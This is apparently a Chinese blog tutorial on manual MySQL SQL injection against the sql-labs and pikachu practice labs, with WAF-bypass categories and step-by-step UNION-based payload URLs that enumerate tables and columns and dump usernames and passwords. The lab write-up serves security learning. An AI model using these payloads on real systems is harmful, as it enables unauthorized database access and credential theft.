第二章-MySQL之手工注入(二)

第二章-MySQL之手工注入(二)

靶场:pikachu

SQL注入介绍

复制代码
数据库类型:关系型数据库和非关系型数据库
MYSQL,MSSQL,ORCLE,ACESS,
提交方式:GET,POST,COOKIE,REUQEST,HTTP头
数据类型:数字型,字符型,其他
查询方式:select,insert,delete,update,order by
回显/盲注:回显注入,无回显注入,延时盲注入,布尔盲注入
WAF绕过:更改提交方法,大小写混合,解密编码类,注释符混用,等价函数替换,特殊符号混用,等其他 
其他注入方式:加解密注入,JSON注入,LADP注入,二次注入,堆叠注入
SQL注入防御方案:代码加载过滤,

sql-labs-less-2
get 提交 : url 可见的 长度限制 速度快
post 提交 : 服务器 安全性 数据量 不可见的 没有长度限制 速度慢,因为要提交给服务器后台

手工注入的思路:

复制代码
1、判断是否有注入 ?id=1 如果有回显,说明他把数据提交给数据库执行了,说明有注入
    随便输入内容 == 报错了 则有注入
                == 没有注入
                2、判断注入类型(数字和字符)
                    1.数字型
                        ?id=1 and 1=1 回显正常
                        ?id=1 and 1=2 回显不正常,报错
                            SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1
                    2.字符型
                    ?id=1 and 1=1 回显正常
                    ?id=1 and 1=2 回显正常
                        SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1
                示例:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    2、猜解字段 order by 排序 %20 空格
    http://192.168.x.x/sql-labs/Less-2/?id=1 order by 4
    如果没有就会报错:Unknown column '4' in 'order clause'
    3、报错,来判断回显点 union 联合查询 
    前面的字段数量要和后面字段的数量要保持一致
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,3
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,database(),user()
    4、信息收集
    数据库名:database()
    用户名:user()
    数据库版本:version()
    高版本:5.0以上
        系统库:information_schema,sys,mysql,...
        information_schema:schemata,tables,columns
    低版本:5.0以下
    5、使用对应SQL进行注入
        数据库库名:security
    information_schema.tables 查找表名
    information_schem.coulumns 查找列名
    table_name 
    column_name
    group_concat()函数用来将多行查询结果合并成单个字符串输出

union select 1,talbe_name,3 from information_schema.tables where table_schema='security';

查询出来的表名:emails,referers,uagents,users

注入流程(数字型):

复制代码
1、判断是否有注入:
    http://192.168.x.x/sql-labs/Less-2/?id=1
    http://192.168.x.x/sql-labs/Less-2/?id=dafdkfsaf 这样也行,因为最终数据都是要提交到数据库里的,只要与数据库有交互就说明有sql注入,除非对get,中url参数加密做限制
2、判断注入类型
    http://192.168.x.x/sql-labs/Less-2/?id=1 and 1=1 有回显,还不一定是数字类型,必须两个都要试一下才行
    http://192.168.x.x/sql-labs/Less-2/?id=1 and 1=2 无回显,说明最数字类型
3、判断字段数量
    http://192.168.x.x/sql-labs/Less-2/?id=2 order by 4 判断字段的数量,如果报错说明没有
    http://192.168.x.x/sql-labs/Less-2/?id=2 order by 3 回显正常
4、利用字段1、2、3来查看回显的位置
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,3
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,database(),version()
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,user()
    这里要让前面的报错,后面的数据才能显示出来
5、找到回显的位置,就可以在回显的位置进行注入,
这里我们知道数据库名,可以通过数据库名,查找该数据库下有哪些表名
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
6、利用得到的表,再查看字段的数据
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
7、这个时候就可以查找users,下的某个字段的数据了
    http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(username,':',password) from users

SQL语句

复制代码
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema=database()
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

字符型注入

复制代码
http://192.168.1.7/sql-labs/Less-1/?id=1' and 1=1 --+
http://192.168.1.7/sql-labs/Less-1/?id=1' order by 4 --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,2,3 --+ 这里id=-1是因为,要让后面的查询语句显示出来
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),user() --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),group_concat(username,':',password) from users --+
相关推荐
千寻技术帮18 分钟前
50055_基于AI的互帮互助小程序(源码+文档+数据库脚本+部署教程)
数据库·人工智能·小程序·毕业设计·springboot·课程设计
Star(up up up)1 小时前
MySQL 事务隔离级别是如何实现的?从 MVCC 到锁机制原理详解
笔记·vscode·sql·学习·程序人生·mysql·学习方法
CoderYanger1 小时前
Java EE 进阶:9.MyBatis 操作数据库(进阶)(第七弹):图书管理系统(强制登录)
java·数据库·spring boot·spring·java-ee·tomcat·mybatis
Flynn Liang1 小时前
多智能体协同不再复杂:Redis Stream 消费者组、幂等与故障恢复
数据库·人工智能·redis·缓存·ai agent·智能体
倔强的胡萝卜3 小时前
基于STM32F103C8T6的温湿度报警器设计
数据库·stm32·mongodb
Decay__10 小时前
PostgreSQL 数据库全栈运维实战系列 — 合集索引(24 篇)
运维·数据库·sql·mysql·架构
田超凡10 小时前
深入理解MySQL_经典问题总结2
mysql·java-ee
FungLeo13 小时前
FengCMS · PHP+MySQL 升级实录 · 危险默认值之殇:root/123456、认证码 8888 写进配置加载器
android·mysql·php·安全加固·fengcms
琳少_14 小时前
java程序开发笔记
java·开发语言·数据库·笔记
ZhengEnCi14 小时前
覆盖索引怎么设计:从回表代价到 MySQL 与 PostgreSQL 的落地写法
sql·mysql·postgresql